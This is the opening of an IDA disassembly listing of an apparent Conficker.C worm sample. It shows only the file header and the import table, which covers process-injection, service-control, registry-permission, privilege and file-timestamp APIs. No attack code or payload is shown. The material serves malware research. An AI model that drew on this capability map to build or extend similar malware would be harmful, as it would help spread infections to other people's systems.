;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	2C7CA6DBC7F9B13F68B18228C531382F

; File Name   :	/space/hassen/idata_conficker_c.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	9A0000
; Section 1. (virtual address 00001000)
; Virtual size			: 00027000 ( 159744.)
; Section size in file		: 00026005 ( 155653.)
; Offset to raw	data for section: 00000200
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
;
; Imports from advapi32.dll
;
; OS type	  :  MS	Windows
; Application type:  DLL 32bit


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Externs
; _idata
; LSTATUS __stdcall RegCreateKeyExW(HKEY hKey,LPCWSTR lpSubKey,DWORD Reserved,LPWSTR lpClass,DWORD dwOptions,REGSAM samDesired,const LPSECURITY_ATTRIBUTES lpSecurityAttributes,PHKEY phkResult,LPDWORD	lpdwDisposition)
		extrn RegCreateKeyExW:dword ; CODE XREF: sub_9A7B42+104p
					; sub_9A7B42+15Ap ...
; LSTATUS __stdcall RegFlushKey(HKEY hKey)
		extrn RegFlushKey:dword	; CODE XREF: sub_9A7B42+271p
					; DATA XREF: sub_9A7B42+271r
; SC_HANDLE __stdcall OpenSCManagerW(LPCWSTR lpMachineName,LPCWSTR lpDatabaseName,DWORD	dwDesiredAccess)
		extrn OpenSCManagerW:dword ; CODE XREF:	sub_9A7374+4Bp
					; DATA XREF: sub_9A7374+4Br
; BOOL __stdcall EnumServicesStatusW(SC_HANDLE hSCManager,DWORD	dwServiceType,DWORD dwServiceState,LPENUM_SERVICE_STATUSW lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned,LPDWORD lpResumeHandle)
		extrn EnumServicesStatusW:dword	; CODE XREF: sub_9A7374+A8p
					; DATA XREF: sub_9A7374+A8r
; BOOL __stdcall QueryServiceConfigW(SC_HANDLE hService,LPQUERY_SERVICE_CONFIGW	lpServiceConfig,DWORD cbBufSize,LPDWORD	pcbBytesNeeded)
		extrn QueryServiceConfigW:dword	; CODE XREF: sub_9A7374+18Ep
					; DATA XREF: sub_9A7374+18Er
; BOOL __stdcall QueryServiceConfig2W(SC_HANDLE	hService,DWORD dwInfoLevel,LPBYTE lpBuffer,DWORD cbBufSize,LPDWORD pcbBytesNeeded)
		extrn QueryServiceConfig2W:dword ; CODE	XREF: sub_9A7374+1B3p
					; DATA XREF: sub_9A7374+1B3r
; DWORD	__stdcall GetNamedSecurityInfoW(LPWSTR pObjectName,SE_OBJECT_TYPE ObjectType,SECURITY_INFORMATION SecurityInfo,PSID *ppsidOwner,PSID *ppsidGroup,PACL *ppDacl,PACL *ppSacl,PSECURITY_DESCRIPTOR	*ppSecurityDescriptor)
		extrn GetNamedSecurityInfoW:dword ; CODE XREF: sub_9A706C+57p
					; DATA XREF: sub_9A706C+57r
; DWORD	__stdcall SetEntriesInAclW(ULONG cCountOfExplicitEntries,PEXPLICIT_ACCESS_W pListOfExplicitEntries,PACL	OldAcl,PACL *NewAcl)
		extrn SetEntriesInAclW:dword ; CODE XREF: sub_9A6E7C+94p
					; DATA XREF: sub_9A6E7C+94r
; DWORD	__stdcall SetNamedSecurityInfoW(LPWSTR pObjectName,SE_OBJECT_TYPE ObjectType,SECURITY_INFORMATION SecurityInfo,PSID psidOwner,PSID psidGroup,PACL pDacl,PACL pSacl)
		extrn SetNamedSecurityInfoW:dword ; CODE XREF: sub_9A6E36+2Cp
					; sub_9A6E7C+B1p ...
; LSTATUS __stdcall RegEnumKeyExW(HKEY hKey,DWORD dwIndex,LPWSTR lpName,LPDWORD	lpcchName,LPDWORD lpReserved,LPWSTR lpClass,LPDWORD lpcchClass,PFILETIME lpftLastWriteTime)
		extrn RegEnumKeyExW:dword ; CODE XREF: sub_9A6CF7+83p
					; DATA XREF: sub_9A6CF7+1Cr
; LSTATUS __stdcall RegSetKeySecurity(HKEY hKey,SECURITY_INFORMATION SecurityInformation,PSECURITY_DESCRIPTOR pSecurityDescriptor)
		extrn RegSetKeySecurity:dword ;	CODE XREF: sub_9A6BEB+B7p
					; DATA XREF: sub_9A6BEB+B7r
; BOOL __stdcall GetTokenInformation(HANDLE TokenHandle,TOKEN_INFORMATION_CLASS	TokenInformationClass,LPVOID TokenInformation,DWORD TokenInformationLength,PDWORD ReturnLength)
		extrn GetTokenInformation:dword	; CODE XREF: sub_9A6A91+43p
					; sub_9A6A91+7Fp ...
; BOOL __stdcall EqualSid(PSID pSid1,PSID pSid2)
		extrn EqualSid:dword	; CODE XREF: sub_9A6A91+F2p
					; sub_9A6A91+102p
					; DATA XREF: ...
; BOOL __stdcall InitializeSecurityDescriptor(PSECURITY_DESCRIPTOR pSecurityDescriptor,DWORD dwRevision)
		extrn InitializeSecurityDescriptor:dword ; CODE	XREF: sub_9A68CA+6Fp
					; sub_9A6BEB+9Ap
					; DATA XREF: ...
; BOOL __stdcall AllocateAndInitializeSid(PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority,BYTE nSubAuthorityCount,DWORD nSubAuthority0,DWORD nSubAuthority1,DWORD nSubAuthority2,DWORD nSubAuthority3,DWORD nSubAuthority4,DWORD	nSubAuthority5,DWORD nSubAuthority6,DWORD nSubAuthority7,PSID *pSid)
		extrn AllocateAndInitializeSid:dword ; CODE XREF: sub_9A68CA+98p
					; sub_9A6A91+BBp ...
; DWORD	__stdcall GetLengthSid(PSID pSid)
		extrn GetLengthSid:dword ; CODE	XREF: sub_9A68CA+A1p
					; sub_9A6BEB+59p
					; DATA XREF: ...
; BOOL __stdcall InitializeAcl(PACL pAcl,DWORD nAclLength,DWORD	dwAclRevision)
		extrn InitializeAcl:dword ; CODE XREF: sub_9A68CA+CCp
					; sub_9A6BEB+7Dp
					; DATA XREF: ...
; BOOL __stdcall AddAccessAllowedAce(PACL pAcl,DWORD dwAceRevision,DWORD AccessMask,PSID pSid)
		extrn AddAccessAllowedAce:dword	; CODE XREF: sub_9A68CA+DBp
					; sub_9A6BEB+8Ep
					; DATA XREF: ...
; BOOL __stdcall SetSecurityDescriptorDacl(PSECURITY_DESCRIPTOR	pSecurityDescriptor,BOOL bDaclPresent,PACL pDacl,BOOL bDaclDefaulted)
		extrn SetSecurityDescriptorDacl:dword ;	CODE XREF: sub_9A68CA+EBp
					; sub_9A6BEB+A8p
					; DATA XREF: ...
; BOOL __stdcall SetFileSecurityA(LPCSTR lpFileName,SECURITY_INFORMATION SecurityInformation,PSECURITY_DESCRIPTOR pSecurityDescriptor)
		extrn SetFileSecurityA:dword ; CODE XREF: sub_9A68CA+FAp
					; DATA XREF: sub_9A68CA+FAr
; PVOID	__stdcall FreeSid(PSID pSid)
		extrn FreeSid:dword	; CODE XREF: sub_9A68CA+13Ep
					; sub_9A6A91+12Cp ...
; BOOL __stdcall OpenProcessToken(HANDLE ProcessHandle,DWORD DesiredAccess,PHANDLE TokenHandle)
		extrn OpenProcessToken:dword ; CODE XREF: sub_9A5DFA+16p
					; sub_9A6A91+23p ...
; BOOL __stdcall LookupPrivilegeValueA(LPCSTR lpSystemName,LPCSTR lpName,PLUID lpLuid)
		extrn LookupPrivilegeValueA:dword ; CODE XREF: sub_9A5DFA+3Cp
					; DATA XREF: sub_9A5DFA+3Cr
; BOOL __stdcall AdjustTokenPrivileges(HANDLE TokenHandle,BOOL DisableAllPrivileges,PTOKEN_PRIVILEGES NewState,DWORD BufferLength,PTOKEN_PRIVILEGES PreviousState,PDWORD ReturnLength)
		extrn AdjustTokenPrivileges:dword ; CODE XREF: sub_9A5DFA+52p
					; DATA XREF: sub_9A5DFA+52r
; SC_HANDLE __stdcall OpenServiceA(SC_HANDLE hSCManager,LPCSTR lpServiceName,DWORD dwDesiredAccess)
		extrn OpenServiceA:dword ; CODE	XREF: sub_9A5D62+2Bp
					; DATA XREF: sub_9A5D62+2Br
; BOOL __stdcall ControlService(SC_HANDLE hService,DWORD dwControl,LPSERVICE_STATUS lpServiceStatus)
		extrn ControlService:dword ; CODE XREF:	sub_9A5D62+59p
					; DATA XREF: sub_9A5D62+59r
; BOOL __stdcall ChangeServiceConfigA(SC_HANDLE	hService,DWORD dwServiceType,DWORD dwStartType,DWORD dwErrorControl,LPCSTR lpBinaryPathName,LPCSTR lpLoadOrderGroup,LPDWORD lpdwTagId,LPCSTR lpDependencies,LPCSTR lpServiceStartName,LPCSTR lpPassword,LPCSTR lpDisplayName)
		extrn ChangeServiceConfigA:dword ; CODE	XREF: sub_9A5D62+7Fp
					; DATA XREF: sub_9A5D62+7Fr
; LSTATUS __stdcall RegSetValueExW(HKEY	hKey,LPCWSTR lpValueName,DWORD Reserved,DWORD dwType,const BYTE	*lpData,DWORD cbData)
		extrn RegSetValueExW:dword ; CODE XREF:	sub_9A471B+1C2p
					; sub_9A7641+1EDp ...
; LSTATUS __stdcall RegOpenKeyExW(HKEY hKey,LPCWSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult)
		extrn RegOpenKeyExW:dword ; CODE XREF: sub_9A4358+116p
					; sub_9A4358+157p ...
; LSTATUS __stdcall RegQueryValueExW(HKEY hKey,LPCWSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData)
		extrn RegQueryValueExW:dword ; CODE XREF: sub_9A4358+1B4p
					; sub_9A4358+20Bp ...
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
		extrn RegCloseKey:dword	; CODE XREF: sub_9A4358+36Dp
					; sub_9A471B+1FAp ...
; SC_HANDLE __stdcall OpenSCManagerA(LPCSTR lpMachineName,LPCSTR lpDatabaseName,DWORD dwDesiredAccess)
		extrn OpenSCManagerA:dword ; CODE XREF:	sub_9A428D+2Cp
					; sub_9A5D62+13p
					; DATA XREF: ...
; SC_HANDLE __stdcall OpenServiceW(SC_HANDLE hSCManager,LPCWSTR	lpServiceName,DWORD dwDesiredAccess)
		extrn OpenServiceW:dword ; CODE	XREF: sub_9A428D+3Cp
					; sub_9A7374+168p
					; DATA XREF: ...
; BOOL __stdcall CloseServiceHandle(SC_HANDLE hSCObject)
		extrn CloseServiceHandle:dword ; CODE XREF: sub_9A428D+95p
					; sub_9A428D+AEp ...
; BOOL __stdcall QueryServiceStatus(SC_HANDLE hService,LPSERVICE_STATUS	lpServiceStatus)
		extrn QueryServiceStatus:dword ; CODE XREF: sub_9A428D+53p
					; sub_9A5D62+42p
					; DATA XREF: ...
; BOOL __stdcall QueryServiceConfigA(SC_HANDLE hService,LPQUERY_SERVICE_CONFIGA	lpServiceConfig,DWORD cbBufSize,LPDWORD	pcbBytesNeeded)
		extrn QueryServiceConfigA:dword	; CODE XREF: sub_9A428D+6Bp
					; DATA XREF: sub_9A428D+6Br
; BOOL __stdcall CryptReleaseContext(HCRYPTPROV	hProv,ULONG_PTR	dwFlags)
		extrn CryptReleaseContext:dword	; CODE XREF: sub_9AA577+7Dp
					; DATA XREF: sub_9AA577+7Dr
; BOOL __stdcall CryptGenRandom(HCRYPTPROV hProv,DWORD dwLen,BYTE *pbBuffer)
		extrn CryptGenRandom:dword ; CODE XREF:	sub_9AA577+72p
					; DATA XREF: sub_9AA577+72r
; BOOL __stdcall CryptAcquireContextA(HCRYPTPROV *phProv,LPCSTR	szContainer,LPCSTR szProvider,DWORD dwProvType,DWORD dwFlags)
		extrn CryptAcquireContextA:dword ; CODE	XREF: sub_9AA577+59p
					; DATA XREF: sub_9AA577+59r

;
; Imports from kernel32.dll
;
; BOOL __stdcall MoveFileA(LPCSTR lpExistingFileName,LPCSTR lpNewFileName)
		extrn MoveFileA:dword	; CODE XREF: sub_9A3715+AFp
					; DATA XREF: sub_9A3715+AFr
; BOOL __stdcall DeleteFileA(LPCSTR lpFileName)
		extrn DeleteFileA:dword	; CODE XREF: sub_9A3715+8Dp
					; sub_9A6056+74p ...
; DWORD	__stdcall GetTempPathA(DWORD nBufferLength,LPSTR lpBuffer)
		extrn GetTempPathA:dword ; CODE	XREF: sub_9A387C+97p
					; sub_9A7214+6Cp
					; DATA XREF: ...
; UINT __stdcall GetSystemDirectoryA(LPSTR lpBuffer,UINT uSize)
		extrn GetSystemDirectoryA:dword	; CODE XREF: sub_9A387C+26p
					; sub_9A7214+38p ...
; void __stdcall Sleep(DWORD dwMilliseconds)
		extrn Sleep:dword	; CODE XREF: sub_9A3939+Ap
					; StartAddress+39p ...
; BOOL __stdcall CloseHandle(HANDLE hObject)
		extrn CloseHandle:dword	; CODE XREF: sub_9A39CF+90p
					; sub_9A3C63+17Dp ...
; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T	dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId)
		extrn CreateThread:dword ; CODE	XREF: sub_9A39CF+89p
					; sub_9A3C63+251p ...
; BOOL __stdcall LockFile(HANDLE hFile,DWORD dwFileOffsetLow,DWORD dwFileOffsetHigh,DWORD nNumberOfBytesToLockLow,DWORD	nNumberOfBytesToLockHigh)
		extrn LockFile:dword	; CODE XREF: sub_9A3A68+5Ap
					; DATA XREF: sub_9A3A68+5Ar
; DWORD	__stdcall GetFileSize(HANDLE hFile,LPDWORD lpFileSizeHigh)
		extrn GetFileSize:dword	; CODE XREF: sub_9A3A68+50p
					; sub_9A5FCF+2Dp
					; DATA XREF: ...
; HANDLE __stdcall CreateFileA(LPCSTR lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile)
		extrn CreateFileA:dword	; CODE XREF: sub_9A3A68+2Fp
					; sub_9A3A68+44p ...
; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime)
		extrn GetLocalTime:dword ; CODE	XREF: StartAddress+EEp
					; StartAddress+136p
					; DATA XREF: ...
; DWORD	__stdcall GetVersion()
		extrn GetVersion:dword	; CODE XREF: StartAddress:loc_9A3B65p
					; sub_9A3C63+1A3p ...
; UINT __stdcall SetErrorMode(UINT uMode)
		extrn SetErrorMode:dword ; CODE	XREF: StartAddress+23p
					; DATA XREF: StartAddress+23r
; void __stdcall ExitProcess(UINT uExitCode)
		extrn ExitProcess:dword	; CODE XREF: sub_9A3C63+199p
					; .text:009AAABAp
					; DATA XREF: ...
; LPSTR	__stdcall GetCommandLineA()
		extrn GetCommandLineA:dword ; CODE XREF: sub_9A3C63+12Ap
					; DATA XREF: sub_9A3C63+12Ar
; DWORD	__stdcall GetLastError()
		extrn GetLastError:dword ; CODE	XREF: sub_9A3C63+11Ap
					; DllMain(x,x,x)+9Ap ...
; HANDLE __stdcall CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes,BOOL bInitialOwner,LPCSTR lpName)
		extrn CreateMutexA:dword ; CODE	XREF: sub_9A3C63+E9p
					; sub_9A3C63+115p ...
; BOOL __stdcall GetComputerNameA(LPSTR	lpBuffer,LPDWORD nSize)
		extrn GetComputerNameA:dword ; CODE XREF: sub_9A3C63+66p
					; DATA XREF: sub_9A3C63+66r
; DWORD	__stdcall GetCurrentProcessId()
		extrn GetCurrentProcessId:dword	; CODE XREF: DllMain(x,x,x)+58p
					; sub_9A5656+24p ...
; BOOL __stdcall DisableThreadLibraryCalls(HMODULE hLibModule)
		extrn DisableThreadLibraryCalls:dword ;	CODE XREF: DllMain(x,x,x)+4Ep
					; DATA XREF: DllMain(x,x,x)+4Er
; BOOL __stdcall MoveFileExA(LPCSTR lpExistingFileName,LPCSTR lpNewFileName,DWORD dwFlags)
		extrn MoveFileExA:dword	; CODE XREF: sub_9A3715+FEp
					; DATA XREF: sub_9A3715+FEr
; BOOL __stdcall Process32First(HANDLE hSnapshot,LPPROCESSENTRY32 lppe)
		extrn __imp_Process32First:dword ; DATA	XREF: Process32Firstr
; HANDLE __stdcall CreateToolhelp32Snapshot(DWORD dwFlags,DWORD	th32ProcessID)
		extrn __imp_CreateToolhelp32Snapshot:dword
					; DATA XREF: CreateToolhelp32Snapshotr
; BOOL __stdcall ReadFile(HANDLE hFile,LPVOID lpBuffer,DWORD nNumberOfBytesToRead,LPDWORD lpNumberOfBytesRead,LPOVERLAPPED lpOverlapped)
		extrn ReadFile:dword	; CODE XREF: sub_9A4157+84p
					; sub_9A5FCF+51p
					; DATA XREF: ...
; HANDLE __stdcall CreateFileW(LPCWSTR lpFileName,DWORD	dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES	lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile)
		extrn CreateFileW:dword	; CODE XREF: sub_9A4157+4Ep
					; DATA XREF: sub_9A4157+4Er
; BOOL __stdcall MoveFileExW(LPCWSTR lpExistingFileName,LPCWSTR	lpNewFileName,DWORD dwFlags)
		extrn MoveFileExW:dword	; CODE XREF: sub_9A4358+349p
					; DATA XREF: sub_9A4358+349r
; BOOL __stdcall DeleteFileW(LPCWSTR lpFileName)
		extrn DeleteFileW:dword	; CODE XREF: sub_9A4358+336p
					; DATA XREF: sub_9A4358+336r
; int __stdcall	WideCharToMultiByte(UINT CodePage,DWORD	dwFlags,LPCWSTR	lpWideCharStr,int cchWideChar,LPSTR lpMultiByteStr,int cbMultiByte,LPCSTR lpDefaultChar,LPBOOL lpUsedDefaultChar)
		extrn WideCharToMultiByte:dword	; CODE XREF: sub_9A4358+30Cp
					; sub_9A5421+60p ...
; DWORD	__stdcall ExpandEnvironmentStringsW(LPCWSTR lpSrc,LPWSTR lpDst,DWORD nSize)
		extrn ExpandEnvironmentStringsW:dword ;	CODE XREF: sub_9A4358+22Ap
					; sub_9A4358+25Ep
					; DATA XREF: ...
; HGLOBAL __stdcall GlobalAlloc(UINT uFlags,SIZE_T dwBytes)
		extrn GlobalAlloc:dword	; CODE XREF: sub_9A4358+85p
					; sub_9A4358+1E1p ...
; int __stdcall	MultiByteToWideChar(UINT CodePage,DWORD	dwFlags,LPCSTR lpMultiByteStr,int cbMultiByte,LPWSTR lpWideCharStr,int cchWideChar)
		extrn MultiByteToWideChar:dword	; CODE XREF: sub_9A4358+39p
					; sub_9A514A+3Bp ...
; BOOL __stdcall TerminateThread(HANDLE	hThread,DWORD dwExitCode)
		extrn TerminateThread:dword ; CODE XREF: sub_9A49B2+169p
					; sub_9A4FEF+30p
					; DATA XREF: ...
; BOOL __stdcall GetExitCodeThread(HANDLE hThread,LPDWORD lpExitCode)
		extrn GetExitCodeThread:dword ;	CODE XREF: sub_9A49B2+154p
					; DATA XREF: sub_9A49B2+154r
; DWORD	__stdcall GetCurrentThreadId()
		extrn GetCurrentThreadId:dword ; CODE XREF: sub_9A49B2+128p
					; sub_9A5D1A+7p ...
; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA	lpVersionInformation)
		extrn GetVersionExA:dword ; CODE XREF: sub_9A4F90+20p
					; sub_9A5238+20p ...
; DWORD	__stdcall WaitForSingleObject(HANDLE hHandle,DWORD dwMilliseconds)
		extrn WaitForSingleObject:dword	; CODE XREF: sub_9A4FEF+21p
					; DATA XREF: sub_9A4FEF+21r
; void __stdcall SetLastError(DWORD dwErrCode)
		extrn SetLastError:dword ; CODE	XREF: sub_9A52FE+26p
					; sub_9A53E9+29p ...
; BOOL __stdcall Module32Next(HANDLE hSnapshot,LPMODULEENTRY32 lpme)
		extrn __imp_Module32Next:dword ; DATA XREF: Module32Nextr
; BOOL __stdcall Module32First(HANDLE hSnapshot,LPMODULEENTRY32	lpme)
		extrn __imp_Module32First:dword	; DATA XREF: Module32Firstr
; void __stdcall ExitThread(DWORD dwExitCode)
		extrn ExitThread:dword	; CODE XREF: sub_9A58F0+38p
					; sub_9A714D+2p
					; DATA XREF: ...
; BOOL __stdcall SetThreadPriority(HANDLE hThread,int nPriority)
		extrn SetThreadPriority:dword ;	CODE XREF: sub_9A5938+FDp
					; sub_9A5938+116p ...
; BOOL __stdcall VirtualProtect(LPVOID lpAddress,SIZE_T	dwSize,DWORD flNewProtect,PDWORD lpflOldProtect)
		extrn VirtualProtect:dword ; CODE XREF:	sub_9A5938+DFp
					; sub_9A5938+124p
					; DATA XREF: ...
; int __stdcall	GetThreadPriority(HANDLE hThread)
		extrn GetThreadPriority:dword ;	CODE XREF: sub_9A5938+2Ep
					; DATA XREF: sub_9A5938+2Er
; HANDLE __stdcall GetCurrentThread()
		extrn GetCurrentThread:dword ; CODE XREF: sub_9A5938+24p
					; DATA XREF: sub_9A5938+24r
; BOOL __stdcall VirtualFree(LPVOID lpAddress,SIZE_T dwSize,DWORD dwFreeType)
		extrn VirtualFree:dword	; CODE XREF: sub_9A5A91+6Ep
					; DATA XREF: sub_9A5A91+6Er
; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress,SIZE_T	dwSize,DWORD flAllocationType,DWORD flProtect)
		extrn VirtualAlloc:dword ; CODE	XREF: sub_9A5A91+47p
					; DATA XREF: sub_9A5A91+47r
; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName)
		extrn GetProcAddress:dword ; CODE XREF:	sub_9A5A91+30p
					; sub_9A642B+7Bp ...
; HMODULE __stdcall LoadLibraryA(LPCSTR	lpLibFileName)
		extrn LoadLibraryA:dword ; CODE	XREF: sub_9A5A91+21p
					; sub_9A731F+11p
					; DATA XREF: ...
; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
		extrn GetModuleHandleA:dword ; CODE XREF: sub_9A5A91+14p
					; sub_9A5BCD+5p ...
; BOOL __stdcall GetVolumeInformationA(LPCSTR lpRootPathName,LPSTR lpVolumeNameBuffer,DWORD nVolumeNameSize,LPDWORD lpVolumeSerialNumber,LPDWORD lpMaximumComponentLength,LPDWORD lpFileSystemFlags,LPSTR lpFileSystemNameBuffer,DWORD nFileSystemNameSize)
		extrn GetVolumeInformationA:dword ; CODE XREF: sub_9B5228+20p
					; DATA XREF: sub_9B5228+20r
; DWORD	__stdcall GetTickCount()
		extrn GetTickCount:dword ; CODE	XREF: sub_9A5D1A:loc_9A5D49p
					; sub_9A60D7+AEp ...
; BOOL __stdcall QueryPerformanceCounter(LARGE_INTEGER *lpPerformanceCount)
		extrn QueryPerformanceCounter:dword ; CODE XREF: sub_9A5D1A+1Bp
					; sub_9AA577+1Dp ...
; HANDLE __stdcall GetCurrentProcess()
		extrn GetCurrentProcess:dword ;	CODE XREF: sub_9A5DFA+Fp
					; sub_9A6A91+1Cp ...
; BOOL __stdcall SetFileTime(HANDLE hFile,const	FILETIME *lpCreationTime,const FILETIME	*lpLastAccessTime,const	FILETIME *lpLastWriteTime)
		extrn SetFileTime:dword	; CODE XREF: sub_9A5EC7+CEp
					; sub_9A5EC7+EAp
					; DATA XREF: ...
; DWORD	__stdcall GetFileAttributesA(LPCSTR lpFileName)
		extrn GetFileAttributesA:dword ; CODE XREF: sub_9A5EC7+92p
					; sub_9A682F+6p
					; DATA XREF: ...
; BOOL __stdcall GetFileTime(HANDLE hFile,LPFILETIME lpCreationTime,LPFILETIME lpLastAccessTime,LPFILETIME lpLastWriteTime)
		extrn GetFileTime:dword	; CODE XREF: sub_9A5EC7+7Bp
					; DATA XREF: sub_9A5EC7+7Br
; BOOL __stdcall WriteFile(HANDLE hFile,LPCVOID	lpBuffer,DWORD nNumberOfBytesToWrite,LPDWORD lpNumberOfBytesWritten,LPOVERLAPPED lpOverlapped)
		extrn WriteFile:dword	; CODE XREF: sub_9A6056+40p
					; sub_9A7214+BEp
					; DATA XREF: ...
; BOOL __stdcall SetEndOfFile(HANDLE hFile)
		extrn SetEndOfFile:dword ; CODE	XREF: sub_9A6056+2Dp
					; DATA XREF: sub_9A6056+2Dr
; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode)
		extrn TerminateProcess:dword ; CODE XREF: sub_9A62C0+A3p
					; DATA XREF: sub_9A62C0+A3r
; HANDLE __stdcall OpenProcess(DWORD dwDesiredAccess,BOOL bInheritHandle,DWORD dwProcessId)
		extrn OpenProcess:dword	; CODE XREF: sub_9A62C0+92p
					; sub_9A642B+32p ...
; BOOL __stdcall Thread32Next(HANDLE hSnapshot,LPTHREADENTRY32 lpte)
		extrn __imp_Thread32Next:dword ; DATA XREF: Thread32Nextr
; DWORD	__stdcall SuspendThread(HANDLE hThread)
		extrn SuspendThread:dword ; CODE XREF: sub_9A62C0+64p
					; DATA XREF: sub_9A62C0+64r
; HANDLE __stdcall OpenThread(DWORD dwDesiredAccess,BOOL bInheritHandle,DWORD dwThreadId)
		extrn OpenThread:dword	; CODE XREF: sub_9A62C0+54p
					; sub_9A642B+147p
					; DATA XREF: ...
; HGLOBAL __stdcall GlobalFree(HGLOBAL hMem)
		extrn GlobalFree:dword	; CODE XREF: sub_9A3715+107p
					; sub_9A4358+32Ap ...
; HANDLE __stdcall CreateRemoteThread(HANDLE hProcess,LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId)
		extrn CreateRemoteThread:dword ; CODE XREF: sub_9A642B+AFp
					; DATA XREF: sub_9A642B+AFr
; BOOL __stdcall WriteProcessMemory(HANDLE hProcess,LPVOID lpBaseAddress,LPCVOID lpBuffer,SIZE_T nSize,SIZE_T *lpNumberOfBytesWritten)
		extrn WriteProcessMemory:dword ; CODE XREF: sub_9A642B+8Fp
					; DATA XREF: sub_9A642B+8Fr
; LPVOID __stdcall VirtualAllocEx(HANDLE hProcess,LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect)
		extrn VirtualAllocEx:dword ; CODE XREF:	sub_9A642B+50p
					; DATA XREF: sub_9A642B+50r
; BOOL __stdcall ReadProcessMemory(HANDLE hProcess,LPCVOID lpBaseAddress,LPVOID	lpBuffer,SIZE_T	nSize,SIZE_T *lpNumberOfBytesRead)
		extrn ReadProcessMemory:dword ;	CODE XREF: sub_9A65D9+33p
					; sub_9A65D9+4Ap ...
; BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName,DWORD dwFileAttributes)
		extrn SetFileAttributesA:dword ; CODE XREF: sub_9A682F+2Cp
					; sub_9A682F+92p
					; DATA XREF: ...
; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName,LPSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation)
		extrn CreateProcessA:dword ; CODE XREF:	sub_9A6A21+4Ep
					; DATA XREF: sub_9A6A21+4Er
; HLOCAL __stdcall LocalFree(HLOCAL hMem)
		extrn LocalFree:dword	; CODE XREF: sub_9A6E7C+D5p
					; DATA XREF: sub_9A6E7C+D5r
; SIZE_T __stdcall VirtualQuery(LPCVOID	lpAddress,PMEMORY_BASIC_INFORMATION lpBuffer,SIZE_T dwLength)
		extrn VirtualQuery:dword ; CODE	XREF: sub_9A71B6+18p
					; sub_9A71B6+32p
					; DATA XREF: ...
; UINT __stdcall GetTempFileNameA(LPCSTR lpPathName,LPCSTR lpPrefixString,UINT uUnique,LPSTR lpTempFileName)
		extrn GetTempFileNameA:dword ; CODE XREF: sub_9A7214+5Ep
					; sub_9A7214+88p
					; DATA XREF: ...
; BOOL __stdcall FreeLibrary(HMODULE hLibModule)
		extrn FreeLibrary:dword	; CODE XREF: sub_9A731F+49p
					; DATA XREF: sub_9A731F+49r
; BOOL __stdcall SystemTimeToFileTime(const SYSTEMTIME *lpSystemTime,LPFILETIME	lpFileTime)
		extrn SystemTimeToFileTime:dword ; CODE	XREF: sub_9A83C7+9Ap
					; DATA XREF: sub_9A83C7+9Ar
; void __stdcall GetSystemTime(LPSYSTEMTIME lpSystemTime)
		extrn GetSystemTime:dword ; CODE XREF: sub_9A83C7+78p
					; sub_9AA577+27p
					; DATA XREF: ...
; void __stdcall GetSystemTimeAsFileTime(LPFILETIME lpSystemTimeAsFileTime)
		extrn GetSystemTimeAsFileTime:dword ; CODE XREF: sub_9AA660+1C9p
					; DATA XREF: sub_9AA660+1C9r
		extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr
; DWORD	__stdcall GetModuleFileNameA(HMODULE hModule,LPCH lpFilename,DWORD nSize)
		extrn GetModuleFileNameA:dword ; CODE XREF: sub_9A3620+24p
					; sub_9A3C63+36p ...
; BOOL __stdcall Process32Next(HANDLE hSnapshot,LPPROCESSENTRY32 lppe)
		extrn __imp_Process32Next:dword	; DATA XREF: Process32Nextr
; BOOL __stdcall Thread32First(HANDLE hSnapshot,LPTHREADENTRY32	lpte)
		extrn __imp_Thread32First:dword	; DATA XREF: Thread32Firstr

;
; Imports from msvcrt.dll
;
		extrn _adjust_fdiv:dword ; DATA	XREF: _CRT_INIT(x,x,x):loc_9AAC45r
		extrn __imp__initterm:dword ; DATA XREF: _inittermr
; void *__cdecl	calloc(size_t NumOfElements,size_t SizeOfElements)
